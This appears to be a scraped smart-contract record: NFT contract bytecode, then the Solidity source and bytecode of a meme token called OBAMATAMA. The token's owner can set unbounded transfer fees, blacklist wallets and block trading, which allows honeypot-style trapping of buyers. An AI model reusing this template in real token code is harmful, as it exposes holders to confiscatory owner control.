6137f3602483614120565b91506137fe826146b4565b604082019050919050565b6000613816601983614120565b915061382182614703565b602082019050919050565b6000613839602c83614120565b91506138448261472c565b604082019050919050565b600061385c602683614120565b91506138678261477b565b604082019050919050565b600061387f603883614120565b915061388a826147ca565b604082019050919050565b60006138a2602a83614120565b91506138ad82614819565b604082019050919050565b60006138c5602983614120565b91506138d082614868565b604082019050919050565b60006138e8601b83614120565b91506138f3826148b7565b602082019050919050565b600061390b602083614120565b9150613916826148e0565b602082019050919050565b600061392e602c83614120565b915061393982614909565b604082019050919050565b6000613951601c83614120565b915061395c82614958565b602082019050919050565b6000613974602083614120565b915061397f82614981565b602082019050919050565b6000613997603883614120565b91506139a2826149aa565b604082019050919050565b60006139ba602983614120565b91506139c5826149f9565b604082019050919050565b60006139dd602f83614120565b91506139e882614a48565b604082019050919050565b6000613a00602183614120565b9150613a0b82614a97565b604082019050919050565b6000613a23601d83614120565b9150613a2e82614ae6565b602082019050919050565b6000613a46601b83614120565b9150613a5182614b0f565b602082019050919050565b6000613a69603183614120565b9150613a7482614b38565b604082019050919050565b6000613a8c601c83614120565b9150613a9782614b87565b602082019050919050565b6000613aaf602c83614120565b9150613aba82614bb0565b604082019050919050565b6000613ad2601f83614120565b9150613add82614bff565b602082019050919050565b6000613af5602483614120565b9150613b0082614c28565b604082019050919050565b613b14816142bb565b82525050565b613b23816142bb565b82525050565b6000613b358286613641565b9150613b418285613641565b9150613b4d8284613672565b9150819050949350505050565b6000602082019050613b6f6000830184613553565b92915050565b6000608082019050613b8a6000830187613553565b613b976020830186613553565b613ba46040830185613b1a565b8181036060830152613bb681846135cf565b905095945050505050565b6000604082019050613bd66000830185613553565b613be36020830184613b1a565b9392505050565b60006020820190508181036000830152613c048184613562565b905092915050565b6000602082019050613c2160008301846135c0565b92915050565b60006020820190508181036000830152613c418184613608565b905092915050565b60006020820190508181036000830152613c62816136f1565b9050919050565b60006020820190508181036000830152613c8281613714565b9050919050565b60006020820190508181036000830152613ca281613737565b9050919050565b60006020820190508181036000830152613cc28161375a565b9050919050565b60006020820190508181036000830152613ce28161377d565b9050919050565b60006020820190508181036000830152613d02816137a0565b9050919050565b60006020820190508181036000830152613d22816137c3565b9050919050565b60006020820190508181036000830152613d42816137e6565b9050919050565b60006020820190508181036000830152613d6281613809565b9050919050565b60006020820190508181036000830152613d828161382c565b9050919050565b60006020820190508181036000830152613da28161384f565b9050919050565b60006020820190508181036000830152613dc281613872565b9050919050565b60006020820190508181036000830152613de281613895565b9050919050565b60006020820190508181036000830152613e02816138b8565b9050919050565b60006020820190508181036000830152613e22816138db565b9050919050565b60006020820190508181036000830152613e42816138fe565b9050919050565b60006020820190508181036000830152613e6281613921565b9050919050565b60006020820190508181036000830152613e8281613944565b9050919050565b60006020820190508181036000830152613ea281613967565b9050919050565b60006020820190508181036000830152613ec28161398a565b9050919050565b60006020820190508181036000830152613ee2816139ad565b9050919050565b60006020820190508181036000830152613f02816139d0565b9050919050565b60006020820190508181036000830152613f22816139f3565b9050919050565b60006020820190508181036000830152613f4281613a16565b9050919050565b60006020820190508181036000830152613f6281613a39565b9050919050565b60006020820190508181036000830152613f8281613a5c565b9050919050565b60006020820190508181036000830152613fa281613a7f565b9050919050565b60006020820190508181036000830152613fc281613aa2565b9050919050565b60006020820190508181036000830152613fe281613ac5565b9050919050565b6000602082019050818103600083015261400281613ae8565b9050919050565b600060208201905061401e6000830184613b1a565b92915050565b600061402e61403f565b905061403a8282614339565b919050565b6000604051905090565b600067ffffffffffffffff821115614064576140636144cf565b5b61406d82614512565b9050602081019050919050565b600067ffffffffffffffff821115614095576140946144cf565b5b61409e82614512565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614147826142bb565b9150614152836142bb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614187576141866143e4565b5b828201905092915050565b600061419d826142bb565b91506141a8836142bb565b9250826141b8576141b7614413565b5b828204905092915050565b60006141ce826142bb565b91506141d9836142bb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614212576142116143e4565b5b828202905092915050565b6000614228826142bb565b9150614233836142bb565b925082821015614246576142456143e4565b5b828203905092915050565b600061425c8261429b565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156142f25780820151818401526020810190506142d7565b83811115614301576000848401525b50505050565b6000600282049050600182168061431f57607f821691505b6020821081141561433357614332614442565b5b50919050565b61434282614512565b810181811067ffffffffffffffff82111715614361576143606144cf565b5b80604052505050565b6000614375826142bb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143a8576143a76143e4565b5b600182019050919050565b60006143be826142bb565b91506143c9836142bb565b9250826143d9576143d8614413565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4572726f723a2050726573616c6520697320636c6f7365642100000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f596f75206d757374206d696e74206174206c656173742031204e465400000000600082015250565b7f4572726f72203a204d617820737570706c792065786365656465642e00000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f596f7520617265206e6f7420746865206f776e6572206f66207468697320636f60008201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f436f6e7472616374206d696e74696e67206973207061757365642e0000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f456e7465722074686520657861637420746f74616c2070726963652100000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f596f752063616e206e6f742066726565206d696e742120596f7520646f206e6f60008201527f74206f776e20656e6f756768204352544b20746f6b656e730000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f5075626c6963206d696e74696e67206973206e6f74206163746976652e000000600082015250565b7f436f6e7472616374206d696e74696e6720697320706175736564210000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4572726f72203a204d617820737570706c792065786365656465642100000000600082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f596f752063616e206d696e74206d6178696d756d2032204e465473206174206f60008201527f6e63652e00000000000000000000000000000000000000000000000000000000602082015250565b614c8081614251565b8114614c8b57600080fd5b50565b614c9781614263565b8114614ca257600080fd5b50565b614cae8161426f565b8114614cb957600080fd5b50565b614cc5816142bb565b8114614cd057600080fd5b5056fea2646970667358221220adc199b4f808e16ebffd223a7a5e61c3a9ca0308fa6d7c3f3265b88b4a61696664736f6c63430008070033
[ 5, 7, 12 ]
0xF3117E65945CE5a070eb8aCbA56d73b129E1286f
/** */ /** */ /** /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$__ $$| $$__ $$ /$$__ $$| $$$ /$$$ /$$__ $$|__ $$__//$$__ $$| $$$ /$$$ /$$__ $$ | $$ \ $$| $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$ | $$ | $$ \ $$| $$$$ /$$$$| $$ \ $$ | $$ | $$| $$$$$$$ | $$$$$$$$| $$ $$/$$ $$| $$$$$$$$ | $$ | $$$$$$$$| $$ $$/$$ $$| $$$$$$$$ | $$ | $$| $$__ $$| $$__ $$| $$ $$$| $$| $$__ $$ | $$ | $$__ $$| $$ $$$| $$| $$__ $$ | $$ | $$| $$ \ $$| $$ | $$| $$\ $ | $$| $$ | $$ | $$ | $$ | $$| $$\ $ | $$| $$ | $$ | $$$$$$/| $$$$$$$/| $$ | $$| $$ \/ | $$| $$ | $$ | $$ | $$ | $$| $$ \/ | $$| $$ | $$ \______/ |_______/ |__/ |__/|__/ |__/|__/ |__/ |__/ |__/ |__/|__/ |__/|__/ |__/ 🖥WEBSITE: OBAMATAMATOKEN.com 💬 TG: t.me/OBAMATAMA 🐤Twitter: Twitter.com/OBAMATAMA // SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OBAMATAMA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "OBAMATAMA";// string private constant _symbol = "OBAMATAMA";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1;// uint256 private _taxFeeOnBuy = 9;// //Sell Fee uint256 private _redisFeeOnSell = 1;// uint256 private _taxFeeOnSell = 19;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x051643aA5C90898c91Fda678f51A9df2F9f37C2C);// address payable private _marketingAddress = payable(0xD45953f208777f68cdFbc0858E8b5cD5bf7c593f);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 45000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true; bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true; bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true; bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true; bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true; bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610517578063dd62ed3e1461052d578063ea1644d514610573578063f2fde38b1461059357600080fd5b8063a9059cbb14610492578063bfd79284146104b2578063c3c8cd80146104e2578063c492f046146104f757600080fd5b80638f9a55c0116100d15780638f9a55c01461043c57806395d89b41146101fe57806398a5c31514610452578063a2a957bb1461047257600080fd5b80637d1db4a5146103e85780638da5cb5b146103fe5780638f70ccf71461041c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b54565b6105b3565b005b34801561020a57600080fd5b5060408051808201825260098152684f42414d4154414d4160b81b602082015290516102369190611c7e565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611aaa565b610660565b6040519015158152602001610236565b34801561027b57600080fd5b5060155461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611a6a565b610677565b3480156102f857600080fd5b506102be60195481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060165461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc6103593660046119fa565b6106e0565b34801561036a57600080fd5b506101fc610379366004611c1b565b61072b565b34801561038a57600080fd5b506101fc610773565b34801561039f57600080fd5b506102be6103ae3660046119fa565b6107be565b3480156103bf57600080fd5b506101fc6107e0565b3480156103d457600080fd5b506101fc6103e3366004611c35565b610854565b3480156103f457600080fd5b506102be60175481565b34801561040a57600080fd5b506000546001600160a01b031661028f565b34801561042857600080fd5b506101fc610437366004611c1b565b610883565b34801561044857600080fd5b506102be60185481565b34801561045e57600080fd5b506101fc61046d366004611c35565b6108cf565b34801561047e57600080fd5b506101fc61048d366004611c4d565b6108fe565b34801561049e57600080fd5b5061025f6104ad366004611aaa565b61093c565b3480156104be57600080fd5b5061025f6104cd3660046119fa565b60116020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101fc610949565b34801561050357600080fd5b506101fc610512366004611ad5565b61099d565b34801561052357600080fd5b506102be60085481565b34801561053957600080fd5b506102be610548366004611a32565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057f57600080fd5b506101fc61058e366004611c35565b610a4c565b34801561059f57600080fd5b506101fc6105ae3660046119fa565b610a7b565b6000546001600160a01b031633146105e65760405162461bcd60e51b81526004016105dd90611cd1565b60405180910390fd5b60005b815181101561065c5760016011600084848151811061061857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065481611de4565b9150506105e9565b5050565b600061066d338484610b65565b5060015b92915050565b6000610684848484610c89565b6106d684336106d185604051806060016040528060288152602001611e41602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123c565b610b65565b5060019392505050565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016105dd90611cd1565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107555760405162461bcd60e51b81526004016105dd90611cd1565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107a857506014546001600160a01b0316336001600160a01b0316145b6107b157600080fd5b476107bb81611276565b50565b6001600160a01b038116600090815260026020526040812054610671906112fb565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016105dd90611cd1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087e5760405162461bcd60e51b81526004016105dd90611cd1565b601755565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105dd90611cd1565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016105dd90611cd1565b601955565b6000546001600160a01b031633146109285760405162461bcd60e51b81526004016105dd90611cd1565b600993909355600b91909155600a55600c55565b600061066d338484610c89565b6013546001600160a01b0316336001600160a01b0316148061097e57506014546001600160a01b0316336001600160a01b0316145b61098757600080fd5b6000610992306107be565b90506107bb8161137f565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016105dd90611cd1565b60005b82811015610a465781600560008686858181106109f757634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a0c91906119fa565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3e81611de4565b9150506109ca565b50505050565b6000546001600160a01b03163314610a765760405162461bcd60e51b81526004016105dd90611cd1565b601855565b6000546001600160a01b03163314610aa55760405162461bcd60e51b81526004016105dd90611cd1565b6001600160a01b038116610b0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105dd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105dd565b6001600160a01b038216610c285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105dd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ced5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105dd565b6001600160a01b038216610d4f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105dd565b60008111610db15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105dd565b6000546001600160a01b03848116911614801590610ddd57506000546001600160a01b03838116911614155b1561113557601654600160a01b900460ff16610e76576000546001600160a01b03848116911614610e765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e74